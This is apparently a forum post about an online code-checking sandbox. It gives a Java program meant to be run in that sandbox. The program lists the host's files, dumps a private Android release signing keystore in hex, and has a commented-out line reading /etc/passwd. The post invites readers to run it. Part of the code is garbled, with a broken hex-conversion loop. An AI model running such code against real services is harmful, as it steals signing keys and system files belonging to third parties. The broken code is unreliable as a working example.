Also there's some files that are visible that probably shouldn't be, including one named "codechecker-android-release-key.keystore"...
For the curious, try running the code block. You can uncomment/commment things out to see different results as there's a cap on the amount of stdout printed.
import java.net.URLClassLoader;
import java.io.*;
import java.net.*;
class Solution
{
private static void printFile(String path) throws Exception {
System.out.println("File: " + path);
InputStream in = new FileInputStream(path);
byte buf[] = new byte[1024];
int len;
while( (len = in.read(buf)) > 0 ) {
System.out.write(buf, 0, len);
}
System.out.flush();
}
final protected static char[] hexArray = "0123456789ABCDEF".toCharArray();
private static String bytesToHex(byte[] bytes) {
char[] hexChars = new char[bytes.length * 2];
for ( int j = 0; j >> 4];
hexChars[j * 2 + 1] = hexArray[v & 0x0F];
}
return new String(hexChars);
}
private static void printFileHex(String path) throws Exception {
System.out.println("File: " + path);
InputStream in = new FileInputStream(path);
ByteArrayOutputStream out = new ByteArrayOutputStream();
byte buf[] = new byte[1024];
int len;
while( (len = in.read(buf)) > 0 ) {
out.write(buf, 0, len);
}
byte bytes[] = out.toByteArray();
System.out.println(bytesToHex(bytes));
System.out.flush();
}
public static void main (String[] args) throws Exception
{
Class clazz = Class.forName("java.lang.ClassLoader");
URLClassLoader cl =
(URLClassLoader) Thread.currentThread().getContextClassLoader();
System.out.println("Classpath:");
for(java.net.URL url : cl.getURLs()) {
System.out.println("" + url);
}
File local = new File("");
System.out.println("Local path: " + local.getAbsolutePath());
System.out.println("Files:");
File root = new File("/");
String list[] = root.list();
System.out.println("# root files: " + list.length);
//printFile("/etc/passwd");
printFileHex("/etc/codechecker-android-release-key.keystore");
System.out.println("# root files: " + list.length);
for(String base : new String[]{ "/etc", "/bin", "/sbin", "/usr"}) {
for(String name : new File(base).list()) {
System.out.println(base + "/" + name);
}
}
}
}